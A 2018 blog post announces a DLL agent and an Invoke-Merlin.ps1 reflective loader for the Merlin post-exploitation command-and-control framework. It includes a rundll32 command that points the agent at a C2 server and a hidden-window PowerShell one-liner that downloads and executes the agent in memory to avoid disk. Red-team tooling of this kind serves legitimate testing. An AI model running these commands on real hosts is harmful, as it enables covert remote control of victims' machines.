πŸ§™β€ Merlin Adds DLL Agent & PowerShell Invoke-Merlin Script

Mar 14 2018
Share
By: Russel Van Tuyl β€’ 4 min read

tl;dr Merlin now ships with an Agent DLL to enable support for TTPs that leverage a DLL. The DLL has also been embedded in anΒ Invoke-Merlin.ps1Β for in-memory execution to stay off Disk.

MerlinΒ is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang .Go is powerful because you can write one program and cross-compile it to many other platforms. One of my original goals with Merlin was to create a DLL to facilitate in-memory loading. In fact, this is one of the reasons why it took so long for a public release because I wasn’t able to get it figured out. After building a decent foundation and releasing Merlin to the public, I wanted to come back to generating a DLL. I ran acrossΒ this repositoryΒ where the author demonstrated how to generate a DLL from Go. In short, you have to export a function and then generate a C archive and header file using theΒ go build -buildmode=c-archiveΒ command. Following this, you need aΒ simple C fileΒ that merely executes the exported command. Finish up by compiling the C file with GCC and voilΓ , you have a DLL file. Additional information on how to compile the DLL can be found in theΒ README.

Dynamic Link Library (DLL)

One of my favorite trade craft techniques is to load an agent or tool into memory using PowerShell to avoid putting files on the compromised host’s file system. DLL files can be a powerful way to execute code on a compromised host. Tools such as Metasploit/meterpreter and FuzzBunch can be provided with an arbitrary DLL for execution on a compromised host.

rundll32.exe

The provided DLL can be delivered and executed many different ways. One method is to use Windows’ built-in rundll32.exe program. To execute the merlin.dll file, pass the file as an argument and provide the entry point using a comma after the DLL (i.e.Β rundll32 merlin.dll,main) . The rundll32.exe program will load merlin.dll using the LoadLibrary() function and then call the provided entry point. By default, the DLL is hard coded to connect toΒ https://127.0.0.1:443/. The target server can be changed by calling the exportedΒ RunΒ function as an entry point and providing the target URL. For exampleΒ rundll32 merlin.dll,Run https://yourdomain.com:443/. This works because underlying program parses the passed in argumentsΒ only whenΒ rundll32 is used.

PowerShell β€” Invoke-Merlin.ps1

A big thank you to Joe Bialek (@JosephBialek) andΒ Matt GraeberΒ for their work onΒ Invoke-ReflectivePEInjection.ps1. This PowerShell script can be used to reflectively load a Windows DLL file into the PowerShell process or another remote process. I’ve adapted this script by embedding a Base64 encoded version ofΒ merlin.dllΒ into the script. The original Invoke-ReflectivePEInjection functionality is still intact making this script dual use. Using Invoke-Merlin, a Merlin agent can be loaded into memory with the following command:

powershell.exe -w 1 -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ne0nd0g/merlin/dev/data/bin/powershell/Invoke-Merlin.ps1;Invoke-Merlin"

Limitations

Development of theΒ merlin.dllΒ is still underway. As such, a current limitation is that the DLL has no way to specify the C2 server’s URL at the time of execution when calling Invoke-Merlin.ps1. The addressΒ https://127.0.0.1:443/Β is hard coded into the DLL. A simple work around is to compile the DLL with your server’s URL and to update Invoke-Merlin.ps1. TheΒ READMEΒ file has detailed information on how to compile the DLL and and update Invoke-Merlin.ps1 onlyΒ with 3 commands.

Build DLL From Scratch & Update Invoke-Merlin.ps1

Conclusion

Adding a DLL version of the agent is huge when it comes to working with compromised Windows hosts. This opens a lot of doors to enable using many different trade craft techniques. More prominently is the ability to reflectively load the DLL into another process using the Invoke-Merlin.ps1 script. Once you’ve exploited a host and have command execution, deliver the PowerShell script to load everything into memory without writing a file to disk. Let me know your thoughts in the comments below.

-Happy Hacking